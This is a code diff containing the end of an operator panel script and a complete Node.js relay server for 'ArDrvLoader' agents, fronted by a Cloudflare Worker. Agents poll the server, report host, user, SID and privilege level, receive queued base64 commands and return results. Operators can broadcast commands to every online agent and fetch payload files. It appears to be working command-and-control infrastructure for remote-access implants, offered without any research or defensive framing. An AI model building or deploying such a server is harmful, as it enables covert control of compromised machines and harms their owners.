var id = tr.getAttribute("data-id");
var c = allCommands.filter(function (x) { return x.id === id; })[0];
if (!c) return;
if (selected !== c.agent) select(c.agent);
setView("console");
var box = $("text");
box.value = c.text;
box.style.height = "42px";
box.style.height = Math.min(box.scrollHeight, 160) + "px";
box.focus();
toast("ready to send: " + c.text.slice(0, 48), "ok");
}
function setView(mode) { viewMode = mode;
Array.prototype.forEach.call(document.querySelectorAll(".tab"), function (b) {
b.classList.toggle("active", b.getAttribute("data-view") === mode);
});
var all = mode === "commands";
$("allView").style.display = all ? "block" : "none";
$("history").style.display = all ? "none" : "block";
$("composer").style.display = all ? "none" : (selected ? "flex" : "none");
$("cmdFilter").style.display = all ? "block" : "none";
$("stateFilter").style.display = all ? "block" : "none";
if (all) loadAll(); else if (selected) refresh(false);
}
$("loginBtn").addEventListener("click", connect);
$("key").addEventListener("keydown", function (e) { if (e.key === "Enter") connect(); });
$("refreshBtn").addEventListener("click", function () { refresh(true); });
$("bcBtn").addEventListener("click", function () {
var text = prompt("Broadcast to every online agent:", "STATUS");
if (!text) return;
api("/api/broadcast", { method: "POST", body: JSON.stringify({ target: "all", text: text }) })
.then(function (r) { toast("broadcast queued for " + r.sent + " agents", "ok"); refresh(false); })
.catch(function (e) { toast("broadcast failed: " + e.message, "bad"); });
});
$("lockBtn").addEventListener("click", function () {
localStorage.removeItem("agentKey");
KEY = "";
lock("");
});
$("filter").addEventListener("input", renderAgents);
Array.prototype.forEach.call(document.querySelectorAll(".tab"), function (b) {
b.addEventListener("click", function () { setView(b.getAttribute("data-view")); });
});
Array.prototype.forEach.call(document.querySelectorAll("#cmdTable th"), function (th) {
th.addEventListener("click", function () {
var k = th.getAttribute("data-sort");
if (sortKey === k) sortDir = sortDir === "asc" ? "desc" : "asc";
else { sortKey = k; sortDir = (k === "created") ? "desc" : "asc"; }
renderAll();
});
});
$("cmdFilter").addEventListener("input", renderAll);
$("stateFilter").addEventListener("change", renderAll);
$("moreCmds").addEventListener("click", function () {
var p = $("palette");
p.classList.toggle("open");
if (p.classList.contains("open")) {
renderPalette($("cmdSearch").value);
$("cmdSearch").focus();
}
});
$("cmdSearch").addEventListener("input", function () { renderPalette(this.value); });
$("sendBtn").addEventListener("click", send);
$("revokeBtn").addEventListener("click", function () {
var a = agents.filter(function (x) { return x.id === selected; })[0];
if (!a) return;
if (!confirm((a.revoked ? "Restore" : "Revoke") + " key for " + a.id + "?")) return;
api("/api/revoke", { method: "POST", body: JSON.stringify({ agent: a.id, revoked: !a.revoked }) })
.then(function () { toast(a.revoked ? "key restored" : "key revoked", "ok"); refresh(true); })
.catch(function (e) { toast("revoke failed: " + e.message, "bad"); });
});
$("clearSelection").addEventListener("click", function () {
selected = null;
$("agentTitle").style.display = "none";
$("composer").style.display = "none";
$("noAgent").style.display = "block";
$("agentMeta").innerHTML = "";
$("history").innerHTML = "";
renderAgents();
});
$("text").addEventListener("keydown", function (e) {
if (e.key === "Enter" && !e.shiftKey) { e.preventDefault(); send(); }
});
$("text").addEventListener("input", function () {
this.style.height = "42px";
this.style.height = Math.min(this.scrollHeight, 160) + "px";
});
document.addEventListener("keydown", function (e) {
if (e.key === "/" && document.activeElement.tagName !== "INPUT" && document.activeElement.tagName !== "TEXTAREA") {
e.preventDefault();
$("filter").focus();
}
});
var preKey = new URLSearchParams(location.search).get("key");
if (preKey) { KEY = preKey; localStorage.setItem("agentKey", KEY); }
if (KEY) { $("login").style.display = "none"; start(); }
</script>
</body>
</html>
+492
View File
@@ -0,0 +1,492 @@
// Relay server for ArDrvLoader agents.
//
// The Cloudflare Worker is only a proxy in front of this process; all state,
// auth and the panel live here. Node >= 22 for node:sqlite.
//
// node server.js
//
// Env:
// PORT listen port (default 8790)
// DATA_DIR sqlite + payloads (default ./data)
// PANEL_PATH panel.html (default ../cloudflare/panel.html)
// AGENT_SECRET master key for agent key derivation
// OPERATOR_KEY panel / operator API key
// ENROLL_SECRET enrollment token
// LEGACY_MASTER_AUTH "true" accepts the shared key during rollout
// PROXY_SECRET when set, requests must carry X-Proxy-Secret
const http = require("node:http");
const fs = require("node:fs");
const path = require("node:path");
const crypto = require("node:crypto");
const { DatabaseSync } = require("node:sqlite");
const PORT = Number(process.env.PORT || 8790);
const DATA_DIR = path.resolve(process.env.DATA_DIR || path.join(__dirname, "data"));
const PANEL_PATH = path.resolve(process.env.PANEL_PATH || path.join(__dirname, "panel.html"));
const AGENT_SECRET = process.env.AGENT_SECRET || "";
const OPERATOR_KEY = process.env.OPERATOR_KEY || "";
const ENROLL_SECRET = process.env.ENROLL_SECRET || OPERATOR_KEY;
const PROXY_SECRET = process.env.PROXY_SECRET || "";
const LEGACY_MASTER_AUTH = process.env.LEGACY_MASTER_AUTH === "true";
fs.mkdirSync(DATA_DIR, { recursive: true });
fs.mkdirSync(path.join(DATA_DIR, "files"), { recursive: true });
const db = new DatabaseSync(path.join(DATA_DIR, "ardrv.sqlite"));
db.exec("PRAGMA journal_mode=WAL");
db.exec("PRAGMA busy_timeout=5000");
db.exec("PRAGMA synchronous=NORMAL");
db.exec(`
CREATE TABLE IF NOT EXISTS agents (
id TEXT PRIMARY KEY,
first_seen INTEGER NOT NULL,
last_seen INTEGER NOT NULL,
host TEXT, user TEXT, sid TEXT, version TEXT,
interval INTEGER, system INTEGER, tags TEXT, revoked INTEGER DEFAULT 0
);
CREATE TABLE IF NOT EXISTS commands (
id TEXT PRIMARY KEY,
agent TEXT NOT NULL,
text TEXT NOT NULL,
state TEXT NOT NULL,
created INTEGER NOT NULL,
sent INTEGER, finished INTEGER,
operator TEXT, result TEXT, error TEXT
);
CREATE INDEX IF NOT EXISTS idx_commands_agent ON commands(agent, created DESC);
CREATE INDEX IF NOT EXISTS idx_commands_state ON commands(state);
CREATE TABLE IF NOT EXISTS events (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ts INTEGER NOT NULL, kind TEXT NOT NULL, agent TEXT, detail TEXT
);
`);
const now = () => Math.floor(Date.now() / 1000);
function hmacHex(secret, message)
{
return crypto.createHmac("sha256", String(secret)).update(String(message)).digest("hex");
}
function sha256Hex(buf)
{
return crypto.createHash("sha256").update(buf || Buffer.alloc(0)).digest("hex");
}
function deriveAgentSecret(agent)
{
return hmacHex(AGENT_SECRET, "agent:" + agent);
}
function safeEqual(a, b)
{
const x = Buffer.from(String(a));
const y = Buffer.from(String(b));
return x.length === y.length && crypto.timingSafeEqual(x, y);
}
function json(res, data, status = 200)
{
const body = JSON.stringify(data);
res.writeHead(status, {
"Content-Type": "application/json; charset=utf-8",
"Content-Length": Buffer.byteLength(body),
"Cache-Control": "no-store"
});
res.end(body);
}
function text(res, body, status = 200, type = "text/plain; charset=utf-8")
{
const buf = Buffer.isBuffer(body) ? body : Buffer.from(String(body), "utf8");
res.writeHead(status, { "Content-Type": type, "Content-Length": buf.length, "Cache-Control": "no-store" });
res.end(buf);
}
function readBody(req)
{
return new Promise((resolve, reject) => {
const chunks = [];
req.on("data", c => chunks.push(c));
req.on("end", () => resolve(Buffer.concat(chunks)));
req.on("error", reject);
});
}
function authenticateAgent(req, url, body)
{
const agent = (req.headers["x-agent-id"] || "").trim();
const ts = (req.headers["x-agent-ts"] || "").trim();
const sign = (req.headers["x-agent-sign"] || "").trim().toLowerCase();
if (!AGENT_SECRET || !agent || !ts || !sign)
return null;
if (!/^[A-Za-z0-9._-]{1,64}$/.test(agent))
return null;
const tsNum = Number(ts);
if (!Number.isFinite(tsNum) || Math.abs(now() - tsNum) > 300)
return null;
const canonicalPath = url.pathname.replace(/^\//, "") + url.search;
const canonical = `${agent}\n${ts}\n${req.method}\n${canonicalPath}\n${sha256Hex(body)}`;
if (safeEqual(hmacHex(deriveAgentSecret(agent), canonical), sign))
return agent;
if (LEGACY_MASTER_AUTH && safeEqual(hmacHex(AGENT_SECRET, canonical), sign))
return agent;
return null;
}
function operatorOk(req, url)
{
const key = req.headers["x-operator-key"] || url.searchParams.get("key") || "";
return OPERATOR_KEY && safeEqual(key, OPERATOR_KEY);
}
function agentRow(id)
{
return db.prepare("SELECT * FROM agents WHERE id = ?").get(id);
}
function poll(agent, req, res)
{
const row = agentRow(agent);
if (row && row.revoked)
return text(res, "revoked", 403);
const t = now();
db.prepare(`
INSERT INTO agents (id, first_seen, last_seen, host, user, sid, version, interval, system)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
last_seen = excluded.last_seen,
host = COALESCE(excluded.host, agents.host),
user = COALESCE(excluded.user, agents.user),
sid = COALESCE(excluded.sid, agents.sid),
version = COALESCE(excluded.version, agents.version),
interval = COALESCE(excluded.interval, agents.interval),
system = excluded.system
`).run(
agent, t, t,
req.headers["x-agent-host"] || null,
req.headers["x-agent-user"] || null,
req.headers["x-agent-sid"] || null,
req.headers["x-agent-version"] || null,
Number(req.headers["x-agent-interval"]) || null,
req.headers["x-agent-system"] === "1" ? 1 : 0
);
const cmd = db.prepare(`
SELECT id, text FROM commands
WHERE agent = ? AND state = 'queued'
ORDER BY created ASC LIMIT 1
`).get(agent);
if (!cmd)
return text(res, "", 204);
db.prepare("UPDATE commands SET state = 'sent', sent = ? WHERE id = ?").run(t, cmd.id);
const b64 = Buffer.from(String(cmd.text), "utf8").toString("base64");
text(res, cmd.id + "\n" + b64);
}
function ack(agent, url, body, res)
{
const id = url.searchParams.get("id") || "";
const raw = body.toString("utf8");
let result = raw;
try { result = Buffer.from(raw, "base64").toString("utf8"); } catch { }
if (result.length > 32768)
result = result.slice(0, 32768) + "\n[truncated]";
db.prepare("UPDATE commands SET state='done', finished=?, result=? WHERE id=? AND agent=?")
.run(now(), result, id, agent);
db.prepare("UPDATE agents SET last_seen=? WHERE id=?").run(now(), agent);
text(res, "ok");
}
let lastPrune = 0;
// Keeps the database from growing forever. Commands are pruned by age and by
// count, events by age. Runs at most once a minute, from the agents endpoint.
function prune()
{
if (now() - lastPrune < 60)
return;
lastPrune = now();
const cmdDays = Number(process.env.RETAIN_COMMAND_DAYS || 7);
const evtDays = Number(process.env.RETAIN_EVENT_DAYS || 30);
const maxCommands = Number(process.env.RETAIN_MAX_COMMANDS || 50000);
db.prepare("DELETE FROM commands WHERE created < ?").run(now() - cmdDays * 86400);
db.prepare("DELETE FROM events WHERE ts < ?").run(now() - evtDays * 86400);
db.prepare(`DELETE FROM commands WHERE id IN (
SELECT id FROM commands ORDER BY created DESC LIMIT -1 OFFSET ?
)`).run(maxCommands);
}
function reapStale()
{
db.prepare("UPDATE commands SET state='queued', sent=NULL WHERE state='sent' AND sent IS NOT NULL AND sent < ?")
.run(now() - 180);
}
function agentsPayload()
{
reapStale();
prune();
const t = now();
const rows = db.prepare(`
SELECT a.*, (SELECT COUNT(*) FROM commands c WHERE c.agent = a.id AND c.state='queued') AS queued
FROM agents a ORDER BY a.last_seen DESC
`).all();
return rows.map(a => {
const interval = a.interval || 15000;
const intervalSec = Math.max(1, Math.round(interval / 1000));
const age = t - a.last_seen;
return {
id: a.id, host: a.host, user: a.user, sid: a.sid, version: a.version,
interval, system: !!a.system, tags: a.tags, queued: a.queued,
first_seen: a.first_seen, last_seen: a.last_seen,
age,
// interval is stored in ms, timestamps are seconds.
online: age < Math.max(intervalSec * 3, 45),
revoked: !!a.revoked
};
});
}
function enqueue(agent, cmdText, operator)
{
const id = crypto.randomUUID();
db.prepare("INSERT INTO commands (id, agent, text, state, created, operator) VALUES (?,?,?,?,?,?)")
.run(id, agent, cmdText, "queued", now(), operator);
db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)")
.run(now(), "enqueue", agent, String(cmdText).slice(0, 200));
return id;
}
async function handle(req, res)
{
const url = new URL(req.url, "http://local");
const p = url.pathname;
if (PROXY_SECRET && req.headers["x-proxy-secret"] !== PROXY_SECRET)
return text(res, "denied", 403);
const body = ["GET", "HEAD"].includes(req.method) ? Buffer.alloc(0) : await readBody(req);
if (p === "/" || p === "/panel")
{
try
{
return text(res, fs.readFileSync(PANEL_PATH), 200, "text/html; charset=utf-8");
}
catch
{
return text(res, "panel missing at " + PANEL_PATH, 500);
}
}
if (p.startsWith("/file/"))
{
const name = path.basename(decodeURIComponent(p.slice(6)));
const file = path.join(DATA_DIR, "files", name);
if (!fs.existsSync(file))
return text(res, "not found", 404);
return text(res, fs.readFileSync(file), 200, "application/octet-stream");
}
if (p.startsWith("/api/"))
{
if (p !== "/api/enroll" && !operatorOk(req, url))
return json(res, { ok: false, error: "denied" }, 403);
if (p === "/api/enroll" && req.method === "POST")
{
const provided = req.headers["x-enroll-secret"] || "";
if (!ENROLL_SECRET || !safeEqual(provided, ENROLL_SECRET))
return json(res, { ok: false, error: "enroll denied" }, 403);
let payload;
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
if (!payload || !/^[A-Za-z0-9._-]{1,64}$/.test(payload.agent || ""))
return json(res, { ok: false, error: "valid agent id required" }, 400);
const t = now();
db.prepare(`INSERT INTO agents (id, first_seen, last_seen, revoked) VALUES (?,?,?,0)
ON CONFLICT(id) DO UPDATE SET revoked = 0`).run(payload.agent, t, t);
db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)")
.run(t, "enroll", payload.agent, "issued");
return json(res, { ok: true, agent: payload.agent, secret: deriveAgentSecret(payload.agent) });
}
if (p === "/api/revoke" && req.method === "POST")
{
let payload;
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
if (!payload || !payload.agent)
return json(res, { ok: false, error: "agent required" }, 400);
const revoked = payload.revoked === false ? 0 : 1;
db.prepare("UPDATE agents SET revoked=? WHERE id=?").run(revoked, payload.agent);
db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)")
.run(now(), "revoke", payload.agent, revoked ? "revoked" : "restored");
return json(res, { ok: true, agent: payload.agent, revoked: !!revoked });
}
if (p === "/api/agents")
return json(res, { ok: true, now: now(), agents: agentsPayload() });
if (p === "/api/stats")
{
const counts = db.prepare("SELECT state, COUNT(*) AS n FROM commands GROUP BY state").all();
const agents = db.prepare(`
SELECT COUNT(*) AS n, SUM(CASE WHEN last_seen > ? THEN 1 ELSE 0 END) AS online FROM agents
`).get(now() - 300);
return json(res, { ok: true, agents: agents.n || 0, online: agents.online || 0, commands: counts });
}
if (p === "/api/commands")
{
const agent = url.searchParams.get("agent") || "";
const limit = Math.min(Number(url.searchParams.get("limit") || 50), 200);
const rows = agent
? db.prepare(`SELECT id, agent, text, state, created, sent, finished, operator,
substr(COALESCE(result,''),1,2000) AS result
FROM commands WHERE agent=? ORDER BY created DESC LIMIT ?`).all(agent, limit)
: db.prepare(`SELECT id, agent, text, state, created, sent, finished, operator,
substr(COALESCE(result,''),1,2000) AS result
FROM commands ORDER BY created DESC LIMIT ?`).all(limit);
return json(res, { ok: true, commands: rows });
}
if (p === "/api/enqueue" && req.method === "POST")
{
let payload;
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
if (!payload || !payload.agent || !payload.text)
return json(res, { ok: false, error: "agent and text required" }, 400);
return json(res, { ok: true, id: enqueue(payload.agent, payload.text, "panel") });
}
if (p === "/api/broadcast" && req.method === "POST")
{
let payload;
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
if (!payload || !payload.text)
return json(res, { ok: false, error: "text required" }, 400);
const t = now();
const rows = db.prepare("SELECT id FROM agents WHERE last_seen > ?").all(t - 300);
for (const a of rows)
enqueue(a.id, payload.text, "broadcast");
return json(res, { ok: true, sent: rows.length, agents: rows.map(a => a.id) });
}
if (p.startsWith("/api/command/"))
{
const row = db.prepare("SELECT * FROM commands WHERE id=?").get(p.slice(13));
return row ? json(res, { ok: true, command: row }) : json(res, { ok: false, error: "not found" }, 404);
}
return json(res, { ok: false, error: "unknown endpoint" }, 404);
}
if (p === "/poll" || p === "/ack" || p === "/status" || p === "/enqueue")
{
const agent = authenticateAgent(req, url, body);
if (!agent)
return text(res, "denied", 403);
if (p === "/poll")
return poll(agent, req, res);
if (p === "/ack" && req.method === "POST")
return ack(agent, url, body, res);
if (p === "/status")
{
const row = db.prepare("SELECT result FROM commands WHERE agent=? AND state='done' ORDER BY finished DESC LIMIT 1").get(agent);
const last = row && row.result ? Buffer.from(row.result, "utf8").toString("base64") : null;
return json(res, { ok: true, agent, last });
}
if (p === "/enqueue" && req.method === "POST")
{
const cmdText = body.toString("utf8").trim();
if (!cmdText)
return text(res, "empty", 400);
return json(res, { ok: true, id: enqueue(agent, cmdText, "agent") });
}
}
text(res, "ok");
}
const server = http.createServer((req, res) => {
handle(req, res).catch(err => {
try { json(res, { ok: false, error: String(err && err.message ? err.message : err) }, 500); } catch { }
});
});
server.listen(PORT, () => {
console.log(`relay server on http://127.0.0.1:${PORT}`);
console.log(`data: ${DATA_DIR}`);
console.log(`panel: ${PANEL_PATH}`);
console.log(`legacy master auth: ${LEGACY_MASTER_AUTH}`);
console.log(`journal mode: ${db.prepare("PRAGMA journal_mode").get().journal_mode}`);
});